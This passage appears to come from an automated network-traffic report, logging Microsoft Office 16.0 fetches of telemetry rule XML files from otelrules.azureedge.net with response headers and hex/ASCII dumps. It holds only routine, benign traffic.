2024-11-10 18:45:11 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-16547b76f7f67wxlhC1DFWah9w0000000cy000000000gcqy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: a04c83e5-401e-0029-4b25-339b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-17df447cdb5vp9l9hC1DFW5hw800000004zg000000008431 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:11 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8b89db2d-001e-0028-2ea9-30c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-17df447cdb5w28bthC1DFWgb6400000008yg00000000g6kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:11 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-16547b76f7fxsvjdhC1DFWprrs0000000d1g000000000qq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:12 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 31c48c2d-b01e-001e-1049-320214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184512Z-15869dbbcc6tfpj2hC1DFW384c00000006ug000000005rvf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:12 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-16547b76f7fvllnfhC1DFWxkg80000000czg00000000kbw9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:12 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184512Z-16547b76f7fkcrm9hC1DFWxdag0000000d7g000000000zbn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c96e57bf-a01e-00ab-735a-329106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184512Z-15869dbbcc6ss7fxhC1DFWq6vs00000006fg0000000018ey x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184512Z-16547b76f7flf9g6hC1DFWmcx800000003gg00000000fpdf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184512Z-16547b76f7f9rdn9hC1DFWfk7s0000000d2000000000587y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 2db5652d-701e-0021-0da2-303d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-17df447cdb5fh5hghC1DFWam0400000006bg00000000cpb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:13 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184513Z-16547b76f7fp6mhthC1DFWrggn0000000d2000000000hrk1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
